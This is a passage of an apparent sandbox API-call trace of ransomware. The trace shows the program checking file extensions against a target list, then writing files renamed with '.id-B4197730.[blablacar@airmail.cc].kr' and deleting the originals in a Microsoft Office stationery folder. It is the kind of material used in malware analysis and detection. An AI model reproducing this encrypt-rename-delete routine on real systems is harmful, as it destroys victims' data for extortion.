shared\\Stationery\\Bears.htm") returned 67 [0093.580] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm") returned 67 [0093.580] lstrlenW (lpString=".doc") returned 4 [0093.581] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0093.581] lstrlenW (lpString=".docx") returned 5 [0093.581] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0093.581] lstrlenW (lpString=".pdf") returned 4 [0093.581] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0093.581] lstrlenW (lpString=".xls") returned 4 [0093.581] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0093.581] lstrlenW (lpString=".xlsx") returned 5 [0093.581] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0093.581] lstrlenW (lpString=".ppt") returned 4 [0093.581] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0093.581] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm") returned 67 [0093.581] lstrlenW (lpString=".zip") returned 4 [0093.581] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0093.581] lstrlenW (lpString=".rar") returned 4 [0093.581] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0093.581] lstrlenW (lpString=".bz2") returned 4 [0093.581] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0093.581] lstrlenW (lpString=".7z") returned 3 [0093.581] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0093.581] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm") returned 67 [0093.581] lstrlenW (lpString=".dbf") returned 4 [0093.581] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0093.581] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm") returned 67 [0093.581] lstrlenW (lpString=".1cd") returned 4 [0093.581] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0093.582] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm") returned 67 [0093.582] lstrlenW (lpString=".jpg") returned 4 [0093.582] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0093.582] lstrcmpiW (lpString1=".jpg", lpString2=".kr") returned -1 [0093.582] lstrlenW (lpString="Bears.jpg") returned 9 [0093.582] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0093.584] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=1074) returned 1 [0093.584] CloseHandle (hObject=0x300) returned 1 [0093.584] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg")) returned 0x20 [0093.584] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0093.584] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0093.584] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg") returned 67 [0093.584] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg") returned 67 [0093.584] lstrlenW (lpString=".doc") returned 4 [0093.584] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0093.584] lstrlenW (lpString=".docx") returned 5 [0093.584] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0093.584] lstrlenW (lpString=".pdf") returned 4 [0093.584] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0093.585] lstrlenW (lpString=".xls") returned 4 [0093.585] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0093.585] lstrlenW (lpString=".xlsx") returned 5 [0093.585] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1 [0093.585] lstrlenW (lpString=".ppt") returned 4 [0093.585] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0093.585] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg") returned 67 [0093.585] lstrlenW (lpString=".zip") returned 4 [0093.585] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0093.585] lstrlenW (lpString=".rar") returned 4 [0093.585] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0093.585] lstrlenW (lpString=".bz2") returned 4 [0093.585] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0093.585] lstrlenW (lpString=".7z") returned 3 [0093.585] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0093.585] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg") returned 67 [0093.585] lstrlenW (lpString=".dbf") returned 4 [0093.585] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0093.585] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg") returned 67 [0093.585] lstrlenW (lpString=".1cd") returned 4 [0093.585] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0093.585] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg") returned 67 [0093.585] lstrlenW (lpString=".jpg") returned 4 [0093.585] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0093.586] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg") returned 67 [0093.586] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg") returned 67 [0093.586] lstrlenW (lpString=".doc") returned 4 [0093.586] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0093.586] lstrlenW (lpString=".docx") returned 5 [0093.586] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0093.586] lstrlenW (lpString=".pdf") returned 4 [0093.586] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0093.586] lstrlenW (lpString=".xls") returned 4 [0093.586] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0093.586] lstrlenW (lpString=".xlsx") returned 5 [0093.586] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1 [0093.586] lstrlenW (lpString=".ppt") returned 4 [0093.586] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0093.586] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg") returned 67 [0093.586] lstrlenW (lpString=".zip") returned 4 [0093.586] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0093.586] lstrlenW (lpString=".rar") returned 4 [0093.586] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0093.586] lstrlenW (lpString=".bz2") returned 4 [0093.586] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0093.586] lstrlenW (lpString=".7z") returned 3 [0093.586] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0093.587] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg") returned 67 [0093.587] lstrlenW (lpString=".dbf") returned 4 [0093.587] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0093.587] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg") returned 67 [0093.587] lstrlenW (lpString=".1cd") returned 4 [0093.587] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0093.587] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg") returned 67 [0093.587] lstrlenW (lpString=".jpg") returned 4 [0093.587] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0093.587] lstrcmpiW (lpString1=".ini", lpString2=".kr") returned -1 [0093.587] lstrlenW (lpString="Desktop.ini") returned 11 [0093.587] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0093.588] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=645) returned 1 [0093.588] CloseHandle (hObject=0x300) returned 1 [0093.589] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini")) returned 0x26 [0093.589] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0093.589] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0093.589] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0093.589] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0093.589] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0093.589] GetLastError () returned 0x0 [0093.590] ReadFile (in: hFile=0x300, lpBuffer=0x338a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesRead=0x2aafecc*=0x285, lpOverlapped=0x0) returned 1 [0093.592] WriteFile (in: hFile=0x2b4, lpBuffer=0x338a020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesWritten=0x2aafc94*=0x290, lpOverlapped=0x0) returned 1 [0093.593] ReadFile (in: hFile=0x300, lpBuffer=0x338a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesRead=0x2aafecc*=0x0, lpOverlapped=0x0) returned 1 [0093.593] WriteFile (in: hFile=0x2b4, lpBuffer=0x338a020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x338a020*, lpNumberOfBytesWritten=0x2aafc94*=0xea, lpOverlapped=0x0) returned 1 [0093.594] SetEndOfFile (hFile=0x2b4) returned 1 [0093.594] CloseHandle (hObject=0x2b4) returned 1 [0093.595] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0093.595] SetEndOfFile (hFile=0x300) returned 1 [0093.596] CloseHandle (hObject=0x300) returned 1 [0093.596] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x26) returned 1 [0093.596] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini")) returned 1 [0093.597] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69 [0093.597] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69 [0093.597] lstrlenW (lpString=".doc") returned 4 [0093.597] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0093.597] lstrlenW (lpString=".docx") returned 5 [0093.597] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0093.597] lstrlenW (lpString=".pdf") returned 4 [0093.597] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0093.597] lstrlenW (lpString=".xls") returned 4 [0093.597] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0093.597] lstrlenW (lpString=".xlsx") returned 5 [0093.597] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0093.597] lstrlenW (lpString=".ppt") returned 4 [0093.597] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0093.597] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69 [0093.597] lstrlenW (lpString=".zip") returned 4 [0093.597] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0093.598] lstrlenW (lpString=".rar") returned 4 [0093.598] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0093.598] lstrlenW (lpString=".bz2") returned 4 [0093.598] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0093.598] lstrlenW (lpString=".7z") returned 3 [0093.598] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0093.598] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69 [0093.598] lstrlenW (lpString=".dbf") returned 4 [0093.598] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0093.598] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69 [0093.598] lstrlenW (lpString=".1cd") returned 4 [0093.598] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0093.598] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69 [0093.598] lstrlenW (lpString=".jpg") returned 4 [0093.598] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0093.598] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69 [0093.598] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69 [0093.598] lstrlenW (lpString=".doc") returned 4 [0093.598] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0093.598] lstrlenW (lpString=".docx") returned 5 [0093.598] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0093.598] lstrlenW (lpString=".pdf") returned 4 [0093.598] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0093.599] lstrlenW (lpString=".xls") returned 4 [0093.599] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0093.599] lstrlenW (lpString=".xlsx") returned 5 [0093.599] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0093.599] lstrlenW (lpString=".ppt") returned 4 [0093.599] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0093.599] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69 [0093.599] lstrlenW (lpString=".zip") returned 4 [0093.599] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0093.599] lstrlenW (lpString=".rar") returned 4 [0093.599] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0093.599] lstrlenW (lpString=".bz2") returned 4 [0093.599] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0093.599] lstrlenW (lpString=".7z") returned 3 [0093.599] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0093.599] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69 [0093.599] lstrlenW (lpString=".dbf") returned 4 [0093.599] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0093.599] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69 [0093.599] lstrlenW (lpString=".1cd") returned 4 [0093.599] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0093.599] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69 [0093.599] lstrlenW (lpString=".jpg") returned 4 [0093.599] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0093.600] lstrcmpiW (lpString1=".htm", lpString2=".kr") returned -1 [0093.600] lstrlenW (lpString="Garden.htm") returned 10 [0093.600] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0093.601] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=231) returned 1 [0093.601] CloseHandle (hObject=0x300) returned 1 [0093.601] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm")) returned 0x20 [0093.601] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0093.601] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0093.601] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68 [0093.601] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68 [0093.601] lstrlenW (lpString=".doc") returned 4 [0093.601] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0093.601] lstrlenW (lpString=".docx") returned 5 [0093.601] lstrcmpiW (lpString1=".docx", lpString2="n.htm") returned -1 [0093.601] lstrlenW (lpString=".pdf") returned 4 [0093.602] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0093.602] lstrlenW (lpString=".xls") returned 4 [0093.602] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0093.602] lstrlenW (lpString=".xlsx") returned 5 [0093.602] lstrcmpiW (lpString1=".xlsx", lpString2="n.htm") returned -1 [0093.602] lstrlenW (lpString=".ppt") returned 4 [0093.602] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0093.602] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68 [0093.602] lstrlenW (lpString=".zip") returned 4 [0093.602] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0093.602] lstrlenW (lpString=".rar") returned 4 [0093.602] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0093.602] lstrlenW (lpString=".bz2") returned 4 [0093.602] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0093.602] lstrlenW (lpString=".7z") returned 3 [0093.602] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0093.602] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68 [0093.602] lstrlenW (lpString=".dbf") returned 4 [0093.602] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0093.602] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68 [0093.602] lstrlenW (lpString=".1cd") returned 4 [0093.602] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0093.602] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68 [0093.602] lstrlenW (lpString=".jpg") returned 4 [0093.602] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0093.603] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68 [0093.603] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68 [0093.603] lstrlenW (lpString=".doc") returned 4 [0093.603] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0093.603] lstrlenW (lpString=".docx") returned 5 [0093.603] lstrcmpiW (lpString1=".docx", lpString2="n.htm") returned -1 [0093.603] lstrlenW (lpString=".pdf") returned 4 [0093.603] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0093.603] lstrlenW (lpString=".xls") returned 4 [0093.603] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0093.603] lstrlenW (lpString=".xlsx") returned 5 [0093.603] lstrcmpiW (lpString1=".xlsx", lpString2="n.htm") returned -1 [0093.603] lstrlenW (lpString=".ppt") returned 4 [0093.603] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0093.603] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68 [0093.603] lstrlenW (lpString=".zip") returned 4 [0093.603] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0093.603] lstrlenW (lpString=".rar") returned 4 [0093.603] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0093.603] lstrlenW (lpString=".bz2") returned 4 [0093.603] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0093.603] lstrlenW (lpString=".7z") returned 3 [0093.603] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0093.603] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68 [0093.603] lstrlenW (lpString=".dbf") returned 4 [0093.604] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0093.604] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68 [0093.604] lstrlenW (lpString=".1cd") returned 4 [0093.604] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0093.604] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68 [0093.604] lstrlenW (lpString=".jpg") returned 4 [0093.604] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0093.604] lstrcmpiW (lpString1=".jpg", lpString2=".kr") returned -1 [0093.604] lstrlenW (lpString="Garden.jpg") returned 10 [0093.604] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0093.605] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=23871) returned 1 [0093.605] CloseHandle (hObject=0x300) returned 1 [0093.605] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg")) returned 0x20 [0093.605] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0093.605] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0093.605] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg") returned 68 [0093.605] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg") returned 68 [0093.605] lstrlenW (lpString=".doc") returned 4 [0093.606] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0093.606] lstrlenW (lpString=".docx") returned 5 [0093.606] lstrcmpiW (lpString1=".docx", lpString2="n.jpg") returned -1 [0093.606] lstrlenW (lpString=".pdf") returned 4 [0093.606] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0093.606] lstrlenW (lpString=".xls") returned 4 [0093.606] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0093.606] lstrlenW (lpString=".xlsx") returned 5 [0093.606] lstrcmpiW (lpString1=".xlsx", lpString2="n.jpg") returned -1 [0093.606] lstrlenW (lpString=".ppt") returned 4 [0093.606] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0093.606] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg") returned 68 [0093.606] lstrlenW (lpString=".zip") returned 4 [0093.606] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0093.606] lstrlenW (lpString=".rar") returned 4 [0093.606] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0093.606] lstrlenW (lpString=".bz2") returned 4 [0093.606] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0093.606] lstrlenW (lpString=".7z") returned 3 [0093.606] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0093.606] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg") returned 68 [0093.606] lstrlenW (lpString=".dbf") returned 4 [0093.606] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0093.606] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg") returned 68 [0093.606] lstrlenW (lpString=".1cd") returned 4 [0093.607] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0093.607] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg") returned 68 [0093.607] lstrlenW (lpString=".jpg") returned 4 [0093.607] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0093.607] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg") returned 68 [0093.607] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg") returned 68 [0093.607] lstrlenW (lpString=".doc") returned 4 [0093.607] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0093.607] lstrlenW (lpString=".docx") returned 5 [0093.607] lstrcmpiW (lpString1=".docx", lpString2="n.jpg") returned -1 [0093.607] lstrlenW (lpString=".pdf") returned 4 [0093.607] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0093.607] lstrlenW (lpString=".xls") returned 4 [0093.607] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0093.607] lstrlenW (lpString=".xlsx") returned 5 [0093.607] lstrcmpiW (lpString1=".xlsx", lpString2="n.jpg") returned -1 [0093.607] lstrlenW (lpString=".ppt") returned 4 [0093.607] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0093.607] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg") returned 68 [0093.607] lstrlenW (lpString=".zip") returned 4 [0093.607] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0093.607] lstrlenW (lpString=".rar") returned 4 [0093.607] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 